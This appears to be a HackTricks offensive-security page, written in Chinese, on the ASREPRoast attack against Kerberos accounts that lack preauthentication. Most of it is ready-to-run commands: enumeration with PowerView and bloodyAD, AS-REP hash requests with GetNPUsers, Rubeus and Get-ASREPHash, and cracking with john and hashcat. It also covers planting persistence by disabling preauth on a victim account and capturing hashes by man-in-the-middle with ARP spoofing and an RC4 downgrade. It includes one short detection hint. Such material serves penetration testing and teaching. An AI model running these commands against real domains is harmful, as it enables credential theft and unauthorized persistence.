3.4 KiB
Raw Blame History

ASREPRoast

{{#include ../../banners/hacktricks-training.md}}

ASREPRoast

ASREPRoast是一种安全攻击利用缺乏Kerberos预身份验证所需属性的用户。基本上这个漏洞允许攻击者向域控制器DC请求用户的身份验证而无需用户的密码。然后DC会用用户的密码派生密钥加密的消息进行响应攻击者可以尝试离线破解以发现用户的密码。

此攻击的主要要求是:

  • 缺乏Kerberos预身份验证:目标用户必须未启用此安全功能。
  • 连接到域控制器DC攻击者需要访问DC以发送请求并接收加密消息。
  • 可选的域账户拥有域账户可以让攻击者通过LDAP查询更有效地识别易受攻击的用户。没有这样的账户攻击者必须猜测用户名。

枚举易受攻击的用户(需要域凭据)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

请求 AS_REP 消息

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Warning

AS-REP Roasting with Rubeus 将生成一个 4768加密类型为 0x17预认证类型为 0。

破解

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

持久性

强制 preauth 对于您拥有 GenericAll 权限(或写入属性的权限)的用户不是必需的:

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'

ASREProast 无需凭证

攻击者可以利用中间人位置捕获 AS-REP 数据包,因为它们在网络中传输时不依赖于 Kerberos 预身份验证被禁用。因此,它适用于 VLAN 上的所有用户。
ASRepCatcher 允许我们这样做。此外,该工具通过更改 Kerberos 协商强制客户端工作站使用 RC4。

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

参考


{{#include ../../banners/hacktricks-training.md}}